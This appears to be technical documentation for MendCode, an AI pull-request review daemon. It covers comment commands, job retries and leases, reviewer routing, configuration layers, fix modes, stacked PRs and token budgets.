@mendcode describe Writes a summary into the PR's description from the walkthrough, change type and risk of the last finished review of the head (no model call of its own; with no finished review of this head, the normal review is queued and describe goes on when it ends). MendCode's part sits between <!-- mendcode:describe:start --> and <!-- mendcode:describe:end -->: the first run appends it after whatever a person wrote, later runs replace only what is between the markers, and the review's pre-merge checks read the description without it. The title changes only with commands.describe_title: true on the base branch (fix: … from the change type and the overview's first sentence). A label is added only if the repository already has one for the change type (bug, enhancement, documentation, refactor, performance, tests, build, chore and common alternatives) and the PR has none of them; no label is ever created. Held like review (filters, /pr publish on, publishers, the reviewer's publish capability). GitHub, GitLab and Gitea; local daemon only (the hosted workflow keeps no review to build on).
@mendcode resolve Resolves the review threads of MendCode's own findings that the last review marked fixed (the ones with its "Fixed in …" reply, or recorded fixed in the saved state); a thread of an open finding or one a person wrote is never touched, and no reply is added. The reply counts the threads resolved and those this account may not resolve. GitHub and GitLab; Gitea has no thread resolving and says so. Local daemon only.
@mendcode approve Off unless commands.approve: true on the base branch. Submits an approval of the head only when the last finished review of that very head exists, has no confirmed finding open (plausible ones do not block) and the head has not moved; otherwise the reply says why, listing the confirmed findings. The approval is MendCode's verdict on its own review, not a person's. GitHub, GitLab (with the head's sha) and Gitea. Local daemon only.
@mendcode learn <text> Replies with the line to add to .mendcode/review-learnings.md and the commit to make on the base branch; a learning counts once merged there, so a PR never teaches the reviewer by itself.

How commands wait and recover

The local repo watch reads new comments with two gh api calls per poll: issue comments and review comments since the last poll.

It answers with your own gh login once you allow posting to that repository (/pr publish on). Until then, the session is told which command waits. The hosted workflow answers comment events itself.

A command is kept with the watch (commands in watches.json) from the poll that reads it until it is answered, so none is lost:

  • Without /pr publish on it waits, and the session is told once. /pr publish on answers the waiting ones at once.
  • When the repository does not let your login post (publishers, write access), it is tried again every 10 minutes while posting is allowed, and the session is told once.
  • A command whose job never ended (a daemon restart, a full queue) runs again at the next poll. One comment never runs twice at once, and a reply your login already posted for it (<!-- mendcode:answers=N -->) counts as answered, so a crash right after a post does not answer twice.
  • Every reply of the local daemon is an effect in the effects ledger (kind reply, one per answered comment): one already sent is not sent again, and right before the write the PR is read for an answer to that comment (this login's, from a crash or another device, or another publisher's); one found counts as the answer and nothing is sent.
  • The filters on @mendcode review and fix are the local daemon's; the hosted workflow does not check them on a comment yet.
  • A command of a PR that closed is dropped; at most 100 are kept per repository, the oldest go first.
  • An @mendcode review whose PR head already had a submitted review by your login or a counted publisher (MendCode's or written by hand) before anyone asked gets one reply in its thread linking that review (…/pull/N#pullrequestreview-ID on GitHub), sent once through the effects ledger like every reply; nothing is reviewed again and no review is posted. The request is kept on the PR (asked in watches.json), so it survives a restart. The PR's next head is reviewed for it (trigger comment), even with triggers.synchronize off. It is dropped when the PR closes. A request answered by its own review (it waited for a running job of that head, or its job posted before a restart) gets no extra reply. Someone without write access gets the usual refusal instead.
  • The answer to /pr publish on|off belongs to the directory: a stopped watch stays in watches.json next to the running one, and every record of the directory holds the answer (before, it went to the first record, a stopped one, and the running watch kept waiting). A new watch of the directory keeps it.
  • A watch saved before commands were kept, that never posted, reads its comments again from the watch's start once: commands that were dropped for a missing /pr publish on wait like new ones. A watch that did post keeps its marks.

Follow-ups

While a repository is watched, a check that fails on a head MendCode reviewed and posted on gets one comment with its cause. It uses the failed job's error lines from gh run view --log-failed, bounded to at most three checks.

  • The same failing set on the same head is explained once.
  • A new failure, or the same one on a new head, is explained again.
  • The checks of one PR are read at most every five minutes.
  • The hosted workflow has no follow-ups.

On GitHub's runners: the hosted workflow

  1. Run github install --hosted to write a workflow that reviews each pull request on ubuntu-latest with the repository's own model secret and GITHUB_TOKEN.
  2. A maintainer commits the workflow and its secret. Only then does it run.
  3. Set enabled: true on the base branch to allow posting.

The runner keeps no state; it reads the markers of earlier reviews. It does not need experimental.pr_review, which is the local daemon's switch. A hosted review runs no checks.

For setup, secrets, the pinned release and what happens on a fork, see GitHub automation.

Publishing

MendCode sends one POST /repos/{owner}/{repo}/pulls/{n}/reviews with event COMMENT, never REQUEST_CHANGES. The summary is its body, with one inline comment per new finding on the diff's new side.

A ```suggestion block is included when the fix stays on the commented lines.

Dedupe and failed posts

Marker Identifies
<!-- mendcode:review head=SHA --> The reviewed head.
<!-- mendcode:f=ID --> The finding's sha1 of path, line, category and summary.

A finding already posted is never posted again, the same head is never reviewed twice, and a later head with nothing new posts nothing.

  • A comment GitHub refuses (422) moves into the summary; the request is sent once more.
  • Any other failure posts nothing; the findings stay in the session.

Incomplete reviews and verification

Over budget.tokens_per_pr, the review closes with one short check and publishes only what it confirmed, as a partial review that says what it did not cover (a review that reaches the cap).

The budget counts input the provider did not serve from its cache, plus output. A child reading files resends its conversation on every step, so counting cache reads would stop an ordinary PR before verification.

One live review of an 8-file PR read 207,343 input tokens in its first pass. The cost line shows cache reads apart. A review stopped before verification says so in its verdict, never "No findings".

The verification line under the verdict says what the separate pass did, so "No findings" never claims a check that did not run: "the review pass raised no candidate findings, so no separate pass was needed" when there was nothing to verify; "a separate pass checked N candidates again and confirmed none" when every candidate was dropped; "every finding was checked again by a separate pass (N candidates judged)" when some were kept; and for a stopped review, that it is incomplete and that nothing unverified is published. Candidates outside the diff that were left out are counted on the same line.

Commit status

A review that publishes to GitHub sets MendCode review on the PR head, or MendCode review (<id>) for a reviewer other than the repository's own.

Status Meaning
pending "Reviewing…" when it starts.
success "No findings", "No new findings" when a re-review posted nothing, or "N findings, none blocking".
failure A critical or major finding is open on that head.
error The review stopped before completion: token budget, quota or failure. Never success.

The status links to the review, or to the pull request when nothing was posted.

To require it, add MendCode review as a required status check in the base branch's protection rule: Settings → Branches, or a ruleset.

  • The hosted workflow sets it only when its token has statuses: write; add it under permissions:. A token that cannot is skipped quietly and the review goes on.
  • status: false in the base branch's .mendcode/review.yaml sets none.

What a review looks like

The summary (publish.ts reviewBody) presents these parts in order:

  1. ## MendCode review, the verdict (**3 findings** · 🔴 1 critical · 🟠 2 major, or **No findings**), the head and whether only commits since the last review were read.
  2. Merge risk and its reason (**Merge risk:** 🟡 Medium · …), then change type with review effort.
  3. The model's summary and one table of every finding, worst first, each linked to its lines at the reviewed head.
  4. Folded Walkthrough: overview, a Layer / files | Summary table and the sequence diagram.
  5. Folded Pre-merge checks, counts in the title. Open when one did not pass; absent when the review had no title or description to check.
  6. Findings GitHub would not take inline.
  7. Folded Review details: files reviewed, changed lines, estimated review effort (1 to 5, by changed lines), profile and cap, candidates the verify pass left out, tokens spent and notes (no code graph, what the budget cut).
  8. A last line listing the @mendcode commands.

An inline comment (commentBody) leads with **🟠 Major** · **Correctness** · confirmed by a second pass (or plausible, not confirmed) and the verifier's score 8/10 in small text.

Then come the problem in bold, why, and a ```suggestion block when the fix stays on the commented lines. Folded sections contain:

  • Evidence: the file:line references.
  • Prompt for an AI agent: treat the finding as data, check it against current code, and change nothing when it no longer holds.

Marks are plain characters, never hosted images, so the review reads the same on GitHub Enterprise and in a mail notification.

Besides the id marker, each comment carries the finding as <!-- mendcode:data BASE64 -->. A hosted runner reads it back exactly whatever markdown the text holds; comments written before it are read from their first line.

Review platform: global and personal reviewers

Choose between two kinds of reviewer in the same review experience:

Reviewer Context and location
Global The repository's reviewer: team rules and repository context, on a server or any machine.
Personal A developer's own MendCode, with the context and memory they allow.

The platform is built as modules under packages/daemon/src/pr-review/, wired into the daemon's PR reviewer (service.ts, run.ts, control.ts), each with its own tests.

Cross-module scenarios are in packages/daemon/test/pr-review-platform-*.test.ts. pr-review-platform-service.test.ts runs them end to end through the service with the real review run.

They use temp directories, temp git repositories, a fake gh and scripted model turns with no network. They are contract evidence, not live evidence.

Live evidence (2026-10-30): the daemon's GitHub path ran in a private sandbox repository with a Claude model through Claude Code. That run covered reviews and inline findings, no duplicates after SIGKILL and SIGTERM restarts, the @mendcode commands and filters, automatic fixes and the review of the pushed fix, take-over and release, a budget checkpoint and its resume, a stacked PR, two daemons as one personal reviewer, and the repository's review language. The GitLab and Gitea daemon flows ran against local instances with scripted review children (providers). Tests only: claim renewal after an hour, the outage and sleep rules, and the re-check of a fix that inserts a line next to its finding. Also tests only, all added after the live runs: the open-PR backlog, enforced capabilities, forge logins, the kept @mendcode review request, turn stalls and diffs in parts, template.language: auto, the pr_review tool and review_config setup. What each topology gives up: team setup, limits.

Part Status
Durable jobs (running → done, failed, stale, checkpointed), restarts, retries, the effects ledger, reviewer markers In the daemon
Outages and sleep: failing time counted awake, network errors never end a watch, transient job failures spend no attempt In the daemon (the repo watch, and one watched PR through pr_watch)
Eligibility (mode, filters), fresh permission reads before writes In the daemon (the watch's poll; @mendcode fix pushes)
.mendcode/reviewers.yaml routing, a personal reviewer that waits for its own daemon, device leases, PR claims (best-effort) In the daemon
Configuration layers, personal profiles, the configuration actions and the review_config tool In the daemon
Review memory by scope In the daemon (the daemon's memory reader)
fix.mode fix-once and fix-loop, take-over and release In the daemon
Stages, stacks, budgets with checkpoint and resume, quota waits, accounting In the daemon
Audit of the whole checkout In the daemon, session only: a pr.review audit action, no slash command
The /reviews page (also /pr dashboard) In the TUI and the daemon (status, the job actions, config-show)
GitLab and Gitea / Forgejo In the daemon through their adapters: watch, review posts, @mendcode commands, claims and fixes; no check follow-up or hosted runner, no thread resolution on Gitea (providers)

Jobs, restarts and remote effects

Every review the watch starts is a job in <dir>/pr-review/jobs.json: mode 0600, written atomically on every change, not an in-memory queue.

A job is one reviewer's work on one head, base and config version:

  • The same event twice is the same job.
  • A listing older than one already read changes nothing.
  • A push while a job of the PR runs supersedes it: it ends stale, its result is not posted, and the new head is queued.
  • A daemon that stops while a job runs finds it at the next start, back in line with the interrupted attempt counted.

Retry rules

Failure Retry and attempt accounting
Job failure Exponential backoff with full jitter: up to 30 seconds at first, doubling, never more than 30 minutes. failed after 5 attempts; a new head or /pr review starts a new job.
Failure not the job's own Spends no attempt. Waits 15 to 30 s at first, doubling, at most 15 minutes, then runs again. This lasts up to 24 hours after the first such failure; after that, failures count as above.

A failure is not the job's own when:

  • Its error names the network or forge servers: no route, DNS, timeout, 5xx or rate limit.
  • The machine slept through the attempt: wall time ran ahead of the monotonic clock.
  • The error says neither, but the forge cannot be reached either: one gh api rate_limit read, or a listing on GitLab and Gitea.

The session hears of the first failure, not every wait. Each failure or stop notice names the repository, PR, head's first 12 characters, reason, next retry time (UTC) and attempts left, ending with Head: <sha12>.

Stalls and recovery

A review, verify or fix turn has no fixed time limit, since a large PR's review can rightly take long. Every turn has a hard cap of 2 hours.

  • A turn stops as stalled after 10 minutes with no model event. A fix session waiting for your approval is not idle.
  • A stalled turn keeps work in its checkpoint and retries with backoff from there. A stall is not a network outage, so each retry spends an attempt.
  • A child that never answers its start handshake retries the same way: Claude Code's no answer to initialize, seen under heavy load.
  • A turn failing with the network's or forge's words (a timeout, a 5xx) is a transient failure, as above.

A job moves only along fixed transitions. A finished job never runs again by itself, and nothing becomes done without running. The newest 500 finished jobs are kept.

A damaged file is set aside (jobs.json.corrupt-<time>), and the next poll reads open PRs again.

Each poll lists every open PR, up to 1,000. After a pause or downtime, PRs opened, heads pushed and reviews requested meanwhile are found from GitHub's current state, not missed events.

A daemon start counts as catch-up. Its first listing also asks for work routed to personal reviewers that no event announced: a review requested, or a claim that lapsed while it was down.

Catch-up leaves alone a PR head whose review failed for good, an error retrying does not change, told once when it happened. Restarting neither queues it again nor repeats the notice.

/reviews keeps showing it; retry (r) runs it again. A new head is reviewed as usual.

A second review request for a PR whose review is already queued or running (a repeated /pr review, @mendcode review on a head the watch is reviewing) joins that job: the answer names it and no second review runs. /reviews shows a running job with its phase (analysis, corroboration); /reviews open <job id> opens its reviewer session (the id is in the "Reviewing #N" notice). The same comment is answered once, whatever the number of watches of the repository.

Seeing a review run

While a review runs (balanced and full tiers, where the reviewer is), the session that watches the repository shows it like a turn at work, in one live line: the activity status Reviewing #25 · analysis · 112 files · incremental… (1m 20s), with the PR, the phase, the running step's detail and the time. Finished steps are not drawn; when the run ends the line goes and the session's final note stays. Any other session, and the watching session while its own turn holds the activity status, names it in the footer's agents segment (reviewing shop-api#25). The daemon sends these steps only to local terminals, only while a review runs, and stores none of them; the spinner and the time move with the activity status's own clock, which stops with the run. showActivity and activityPlacement off hide the status as they do for a turn.

/reviews lists one row per pull request: the job at work when there is one, else the newest, with · N runs when the PR had earlier ones. On GitHub each row also shows the pull request's own state (merged, closed, draft, open · ready, open · CI ✗, open · CI …, open · conflict, open · findings for an open critical or major finding) and the detail a pull request line with up to three failing checks; the daemon reads it with one gh pr list per repository when the page opens and on r, keeps it a minute, and leaves the cell empty when the read fails or the forge is GitLab or Gitea. f also filters on it: ready, needs work (failing checks, a conflict or a blocking finding) and closed (merged or closed). So a failure that a later review of the same PR superseded is not listed under Failed: Failed holds the PRs whose last run failed. A running row shows the activity status's spinner with its phase, running step and time (⠋ analysis · 112 files · 1m 20s), a finished one what it found (done · no findings, done · 2 findings). Until you pick a row (↑↓ or enter, which marks the detail pinned), the selection follows the running review that started last, else the job updated last, and moves when another review starts; esc returns a pinned selection to following. The detail of a running job shows the same live line under its state and lists its steps; a done job says how it ended instead of a phase; a failed one names the phase it failed in and its attempts. Under it, Earlier runs lists the PR's other runs, newest first, each with its head, how it ended and, for a failure, its error. A job or watch this daemon owns says this device. When a checkout does not answer status within 3 seconds (a busy git or a hung child process), the page still gets the jobs and the answer names the checkout whose reviewers were not read.

The run queue and the waiting records are counted apart (/pr list shows jobs: N queued, M waiting; /reviews groups jobs by state):

  • The run queue is the work this daemon runs itself: pending, running, fixing, validating, a backed-off retry, and a waiting job whose time came. Its size, 50, is a backlog mark, not a refusal: past it new work is still recorded as pending (durable, run in order, two at a time) and the session is told once an hour that the queue is behind. Nothing queued is cancelled for room.
  • Waiting records are work this daemon does not run now: a PR routed to another device's reviewer, a claim held elsewhere, a quota reset. They are bounded at 500; past that the oldest is cancelled with the reason ("more than 500 jobs were waiting …; /reviews retries it"), never dropped silently.
  • The ledger's hard bound is 1,000 open jobs. At it, the oldest waiting record makes room; when none can, the PR's event stays with the watch and the next poll queues it.

States: pending, waiting (held: an offline owner, a cooldown, a quota reset), running, fixing, validating, checkpointed (stopped resumably with its work kept), paused, done, failed, cancelled, stale (the head or base moved).

Every posted review carries <!-- mendcode:reviewer=ID config=VERSION effect=HASH -->, the hash of what the post is: reviewer, config version, head, base and the findings it carries. When a post times out or GitHub answers with a 5xx, the review may still have gone through, so MendCode reads the PR's reviews for that marker before anything else and never sends it again in the same attempt; when the reviews cannot be read, nothing is sent. The effects ledger (<dir>/pr-review/effects.json, newest 2,000) records each write before it is sent: an effect already done is never sent again, one left pending by a crash is first looked up on the PR, a refused one is abandoned with its reason. There is no exactly-once promise: two daemons without a shared ledger can both post; claims and the check before each write (one writer per pull request) keep them apart, and the markers stop the second post where they can.

Which pull requests (eligibility)

Status: in the daemon. Each poll passes every PR event through eligibility.ts. A PR it does not take is not queued or announced with a notice; /pr list shows the reason.

A personal reviewer's profile can only narrow eligibility.

mode What starts a review by itself
auto The triggers.
on-request Only a requested reviewer, @mendcode review or /pr review.
labels Only a label in filters.labels.include.

Every decision has a reason a person can read (draft: waits for ready for review, labels: none of \review-me` is on the pull request, author @dependabot[bot] is a bot); a draft the watch skips shows that reason in /pr list like any other skipped PR, until it is marked ready. Exclusions (filters..exclude) hold for every trigger, a manual request included. An @mendcode reviewor@mendcode fixcomment skips the mode and thetriggers. switches (someone asked), but not the filters: the draft rule (triggers.drafts), the exclusions, the narrowing filters (base branches, authors, bots, changed paths) and, for a personal reviewer, its profile's narrowing hold for a mention exactly as for an automatic review. An excluded PR gets one reply naming the filter (MendCode does not review this pull request: label `skip-review` excluded. …), sent once through the effects ledger and the answer marker, and no job or model turn starts. A comment never overrides a filter, and there is no key that lets it: a maintainer changes the filter on the base branch (or removes the label). /pr reviewis the daemon owner's own request in their own session: exclusions hold for it (it is refused with the filter's name), the draft rule and the narrowing filters do not. Being a fork never decides whether a PR is reviewed, only whether a fix may be pushed to it. Who may ask stays withreviewers, publishersand write access, as above; an@mendcode comment from someone without write access changes nothing (one refusal reply, no state change, nothing run). Before a write MendCode reads the asker's permission fresh (GET …/collaborators/{login}/permission`), so a permission revoked a minute ago is seen; a failed read is never a yes.

Reviewers, routing and devices

Status: in the daemon. Each poll routes PRs through .mendcode/reviewers.yaml at the checkout's HEAD. A repository without that file has the implicit global reviewer, plus personal:<login> for a /pr watch-repo requested watch.

.mendcode/reviewers.yaml on the base branch lists who reviews here: ids, scope (global or personal), a login, area globs, capabilities (review, fix, publish) and an optional pinned device. It never holds memory, profiles or credentials (an unknown key such as memory: makes the file a problem and the implicit global reviewer is used). Routing is deterministic and says why: a requested reviewer or assignee whose login is a personal reviewer, a label route, an area glob a changed file matches, and the repository's global reviewer (routing.global: always, or only when no personal reviewer matched with personal-only).

capabilities are enforced, and a reviewer without the list has all three:

  • Without review, a reviewer is never assigned a review.
  • Without publish, its reviews stay in its owner's session: nothing is posted, and its claim stays a local lease with no claim comment.
  • Without fix, no automatic fix runs, and an @mendcode fix it would answer gets one reply saying so.

review.yaml still decides whether a capability is used (fix.push, fix.personal, publishers). A login follows the checkout's forge, as in review.yaml. A global reviewer without a login runs on every all watch. A requested watch takes the PRs that request or are assigned to its login, and the PRs that area or label routing gives its login's personal reviewer. An @mendcode comment addressed to no one is taken on those PRs too: when the PR neither requests nor is assigned to the login, the watch routes it through .mendcode/reviewers.yaml (its changed files, only when the personal reviewer has areas or a label route) and takes the comment when routing names that reviewer. A routing read that fails leaves the comment for the next poll; a comment addressed to someone else is never taken.

A personal reviewer whose machine is off is not a failure: its work waits. On another daemon such a PR is a waiting job with the reason ("waiting for @alice's MendCode (offline or another device) …"); it is never run there and never failed. When the reviewer's own daemon starts, it works out what it has to do from the provider's current state (open PRs, requested reviewers, assignees, changed files) and skips heads already reviewed, so nothing depends on an event it missed. For area routing it reads the changed files of at most the 20 newest unreviewed PRs. Every 10 minutes the waiting daemon reads that PR again. Once the reviewer's login has submitted a review of the head, the waiting job closes as done, naming the device that ran it.

Offline fallback (opt-in)

By default nothing covers a personal reviewer that stays away. With routing.offline_fallback in reviewers.yaml, a global reviewer takes the PR after a set time:

routing:
  offline_fallback:
    after_minutes: 30    # 1 to 10080
    reviewer: team       # optional: a global reviewer with `review`; default `routing.fallback`, then the default global

The daemon that runs that global reviewer records a second waiting job next to the personal one, with the reason and the recipient: offline fallback: team reviews this pull request at <time> unless @alice's MendCode (alice-backend) claims or reviews its head first. The personal reviewer keeps priority. At that time, the cover job starts only when no personal reviewer it covers holds a live claim on the PR ("offline fallback not needed now: … is back") or has reviewed the head ("not needed: reviewed by …"); it checks again right before posting. When it runs, its assignment and the session notice say why ("did not claim or review head H within 30 min, so team reviews it"), and its claim marker carries covers=alice-backend. A personal job that starts later waits on that claim, and once the cover's review of the head exists it closes done ("reviewed by … as the offline fallback; not reviewed again here") without a model call or a post; the waiting record on the other daemon closes the same way. The residual window of PR-comment claims (below) applies here too.

Device identity and leases

Without a coordinator there is one explicit owner per key. Each daemon has a device id (<dir>/pr-review/device.json, a random id and the hostname as a label; not a secret). Leases (<dir>/pr-review/ownership.json) carry a fencing number that only grows: an expired lease is taken over with a higher fence, a transfer gives the new owner fence + 1, and a write under an older fence is refused. Across devices, a claim is a hidden marker comment on the PR that every device settles the same way (highest fence, then earliest); it counts only for a listed reviewer, written by that reviewer's login (the global reviewer's: the login it posts as), for at most a day.

One writer per pull request

Every review job claims its PR before it runs: a personal reviewer's, and the repository's global reviewer's too, so a PC and a VPS that both watch a repository with all do not both work on one PR. The claim is posted as a comment only when posting is allowed (/pr publish on and publishers); without that it stays a local lease that other devices cannot see, and that daemon cannot post there either.

  • While the job runs it renews the claim every half of its lifetime (two hours, so every hour): the local lease, and the marker comment edited in place, so a device keeps one claim comment per PR. When the job ends (done, stale, failed, parked) the lease is released and the comment edited to say so.
  • Right before every write (the review post, a fix push) the job checks that it still holds the claim: its local lease still has its fence, and the claims on the PR still name this device. A device whose claim lapsed mid-run (a network cut kept it from renewing, the machine slept) and that another device took over with a higher fence sends nothing. A withheld review waits naming the holder (device … took this pull request over (claim fence 2, this job's 1) while this job ran) with what it found kept, and when it runs again it finds the other device's review of the head and ends done naming it; a withheld fix stays on its local ref (refs/mendcode/fix/…) with that reason. Claims that cannot be read at that moment are a reason to retry, never a yes. A pushed fix is also refused by git itself when the branch moved, since MendCode never force-pushes.
  • Before a review post the job also reads the PR's reviews: this reviewer's review of the same head from another device (same login, same reviewer marker) means it does not post. A job that finds, at its start, a lapsed or released claim of another device and that device's review of the head ends done without a model call.
  • A job waiting for another device's claim does not wait out the claim's two hours when the holder finishes early. A release (or a renewal, or a new claim) edits the PR's claim comment, and the watch's comment poll reads edits too: the next poll after it makes the PR's claim waits due, so they settle the claims again at once (done naming that device's review, or claimed and run here when nothing was posted). A claim still held sends the job back to wait; a quota wait or a retry backoff is not touched.

Coordination limits

PR-comment claims are best-effort coordination, not compare-and-swap. Posting a claim and reading the others' are separate steps, so two devices that claim within the same few seconds, or while GitHub's comment list lags, can both start. What keeps the writes single is the check right before each write (fence and per-head review marker) together with the effects ledger (one daemon never sends the same effect twice, and reconciles an unconfirmed one against the PR first). A residual window remains: two devices whose last checks fall in the same moment before either post is visible can both post. Two daemons with different logins do not see each other's claims; the publisher check (a MendCode review of the head by another counted publisher makes a reviewer stand down) covers them.

Configuration layers

Status: in the daemon. A personal reviewer's run uses its profile as the personal layer. The configuration actions are answered through pr.review, and the review_config tool is offered to sessions while experimental.pr_review is on. A native turn from a peer never gets it.

Configuration precedence

The effective config is preset → repository (.mendcode/review.yaml on the base branch, the trust root) → personal profile (<dir>/pr-review/profiles/<provider>/<owner>/<repo>/<login>.json, versioned, newest 50 versions, never in the repository) → task. Each top-level key records the layer it came from. A personal or task layer may narrow and restyle (profile, cap, template, stages, coverage, extra path instructions and ignores, a lower budget, a fix mode up to the repository's, stricter filters) but never turn on what the repository has off or change what it controls (enabled, fixes, fix.push, fix.personal, checks, publishers, reviewers, preset; tokens_per_pr: null over a capped repository is refused). A refused value is a problem naming its key path, never a silent change.

Choose the scope before changing configuration

The configuration actions (config-show, config-preview, config-apply, config-revert, config-history) need a scope: without one nothing is read or changed and the answer names both targets. global writes the checkout's .mendcode/review.yaml working-tree file only (never staged, committed or pushed; it counts once committed on the base branch), and its versions are the file's commits. personal saves a new profile version; a revert is a new version equal to an old one. The review_config model tool is the conversational side of these actions ("my review" is personal, "the repo's" is global; each write asks you with the exact before and after). Every action but setup needs a scope.

Start a guided setup

review_config setup is read-only, and it is where a guided setup with the developer starts (team setup). It reports:

  • the forge, the user's login and permission;
  • .mendcode/review.yaml and .mendcode/reviewers.yaml on the base branch, and the working-tree diff;
  • whether the hosted workflow is installed;
  • this daemon's watches and their posting consent;
  • other devices' claims on open PRs;
  • the personal profile's path;
  • the signals of the user's role: permission, CODEOWNERS, MAINTAINERS, a reviewers.yaml entry, recent PR activity, and saved memories that state a role.

It ends with what is missing and the questions to ask, so the model confirms instead of assuming. On GitLab and Gitea the login, permission and activity are not read there, and the developer is asked instead.

Memory in reviews

Status: in the daemon. The daemon binds review-memory.ts to its memory store, and each review job gets the block its reviewer's scope allows, at most 4,000 tokens.

Review children are headless and get no memory block of their own (noMemory) and no instruction files. The memory a review may use is chosen explicitly from MendCode's native memory and travels in the review prompt as one reference block, with each line's scope, id and dates; it is the same text for the native engine, Claude Code and Codex review children. A Claude Code child also runs with its own CLAUDE.md files and auto memory off (see above). A Codex child runs with Codex memories off and without the worktree's AGENTS.md (see above); only your own ~/.codex/AGENTS.md still reaches it (no Codex switch removes it; see above).

  • The global reviewer reads only project memories of the checkout that the user shared (/memory, Sharing, ENABLE PROJECT), and of those only what memory sharing would export (no secret, not security, not high sensitivity) and that describes the code (preferences and volatile are left out). Never user-scope or session memory.
  • A personal reviewer reads that profile's user memories and the checkout's project memories, only with memoryUse on.

Every left-out memory is listed with its reason. What a review learns comes back only as a Pending proposal (tagged pr-review), never saved by itself; one that came from memory or from .mendcode/review-learnings.md, or restates the context it was given, is refused as an import loop.

Fix modes and taking over

Status: in the daemon. After a review with open confirmed findings, fix.mode fix-once or fix-loop runs on the job. It pushes only with fix.push (plus fix.personal for a personal reviewer) and /pr publish on, and only to a branch that takes the push: a fork must allow edits from maintainers. Otherwise each fix is kept on a local ref. @mendcode fix runs through the same runFix. Take-over and release are actions of the /reviews page. Fix sessions run with --setting-sources user on Claude Code, so the PR's own harness settings never load.

Choose a fix mode

fix.mode Behavior
review No fix.
fix-once One fix round of the confirmed findings, whatever fix.max_rounds says.
fix-loop Fix, validate, review again until no confirmed finding is open, at most fix.max_rounds rounds.

A fix runs in a throwaway worktree, never your checkout, and is committed and kept on refs/mendcode/fix/<number>/<time> before anything else is decided. It is pushed only when fix.push is on (and fix.personal for a personal reviewer), the job is not taken over, the PR is still open, the reviewer may still push (a fresh permission read; a fork must allow edits from maintainers), and the branch tip (and the base, when it matters) is still where the fix started. Otherwise the commit stays on its local ref with the reason; a branch that moved makes the result stale and nothing is overwritten. Never a force push, never a merge. A failed validation never ends done; rounds that do not shrink the open findings stop after phases.max_rounds_without_progress (no_progress, in rounds), and fix.max_rounds caps the loop.

Review the pushed fix

After a push the job reviews the head it pushed, incrementally (only the fix's commits, from the last reviewed head), and that review resolves the threads of the findings the fix removed. GitHub reports a pushed head a few seconds late, so the job first waits for GitHub to report it (reads at once and after 1, 2, 4, 8 and 15 s). A round counts as resolving findings only when that review ran: when GitHub still reports the old head after about 30 s, the job ends failed with the fix … was pushed but not reviewed: GitHub still reported … as the head after 30 s … and the findings it set out to fix listed as not checked again (never done), and the watch takes the pushed head back as unseen, so the listing that reports it queues its review like any push. When the head moved past the fix (someone pushed on top), the job ends stale and that head's own review covers the fix's commits.

Count only findings the re-check closed

That review re-checks the findings the round set out to fix with the published ones, in every file the fix changed, so a fix that inserts the missing line next to the flagged one (the flagged line itself only moves) is checked like one that rewrites it. The round counts as resolving exactly the findings the re-check found fixed; the others stay open beside whatever the review found new: fix-loop fixes them in its next round, and fix-once (or a loop at fix.max_rounds) ends failed with the stop naming them, such as 1 confirmed finding still open (cancel.ts:8), never done. A re-check that fails resolves nothing. Before, a round counted every finding it set out to fix as resolved when the review of the fix found nothing new, so an inserted fix ended done with its thread open (seen live).

Fix commit messages

A fix commit's subject is at most 72 characters, cut at a word. A fix.mode commit is named after the finding it fixes (or fix: address N confirmed findings of MendCode's review) and its body says it is the automatic fix mode (fix.mode: fix-once) and lists the findings; an @mendcode fix commit is named after the request and its body names the commenter and links the comment. The fix session's prompt says the same: an automatic fix is not presented as someone's @mendcode fix. Both kinds of fix session are told the repository's review language (template.language), since what they write is public too.

Take over and release a fix session

Taking a job over gives you its fix session: the job is paused with control: user, no automatic fix or push runs, a second take-over is refused with who holds it, and only the holder releases it (back to pending, resuming from its checkpoint). A round the take-over interrupted before its push is recorded as interrupted with its kept commit and does not count against fix.max_rounds or the no-progress guard. After the release the job does not announce its review again; it says it continues (fix mode fix-once continues after the take-over was released: the kept fix … is pushed to the branch; the interrupted round is not counted), pushes that kept commit with the same checks as any push (or keeps it, when pushing is not allowed), and reviews the pushed head. When the kept fix no longer applies (its ref is gone, or the branch moved off the head it was made on) the round is redone with a new fix session.

Stages

Status: in the daemon. Each run plans its stages from its effective config and the change, and the decisions are kept on the job's checkpoint.

phases.mode Stages
none No visible stages; the job still moves through its operational states.
fixed phases.list as given.
dynamic Default: discovery, analysis, corroboration, fix when enabled, validation, plus stages chosen from evidence: migrations, security, contracts, stack.

Each added or skipped stage is recorded on the job with its reason: "db/migrations/0042_users.sql is a migration or schema path".

A stage is instructions, never new tools or permissions. A list cannot remove the verify pass or closing gate; an invalid list falls back to preset stages and says why.

Validation is a deterministic gate: incomplete, unverified, a failing check or an open confirmed finding is never done.

Stacked pull requests

Status: in the daemon. Each poll builds the stack graph. A parent's new head revalidates its children (trigger stack). A child's run starts at its parent's head, and findings the parent already reported are left out.

A PR whose base branch is another open PR's head branch is stacked on it. The graph comes from the provider's open PRs, never from commit ancestry.

A child is reviewed on its own commits, from its parent's head, so the parent's changes are not reviewed twice.

  • A parent update, rebase, retarget, merge or close marks the child and its descendants for revalidation.
  • A finding shared with the parent (same path, code line, category and summary, wherever the line moved) is the parent's; its fix belongs on the parent's branch.
  • Findings keep their identity across new SHAs: moved, needs-recheck when their line changed, deleted.
  • A cycle or ambiguous parent is reported; the PR is reviewed against its base.

MendCode never restacks. It says what to run (gt restack or git rebase --onto …) and which files would conflict.

Fallback models

fallback_models lists models a review moves to when its own model fails with a provider error or is unavailable (the model does not exist, a server error). It is base branch only, empty by default.

It never moves for:

  • A quota or rate limit: budget.on_quota decides those, unchanged.
  • A stalled turn.
  • The token cap or a stopped turn.

Each entry must be in the model list you allow and on the reviewer's own engine and provider. An entry that is not is skipped, and the review details say why.

The move happens before a session has answered anything, so no conversation changes model half way. Sessions after it start on the fallback.

The review details read Model: reviewed by fallback model X after the reviewer's own model failed (…). A review that needed none says nothing.

Budgets, quotas and accounting

Status: in the daemon. A budget stop leaves the job checkpointed with its candidates, and the session is told why. job-retry (with a reason, from the /reviews page) resumes from that checkpoint: only the verify pass runs, then the review is published once. It runs under the policy on the base branch at that moment, so a budget the repository raised meanwhile applies. A quota or rate limit with on_quota: wait puts the job in waiting until the reset and then resumes the same way. Every model turn is recorded in accounting.json, under purpose resume for a resumed verify pass.

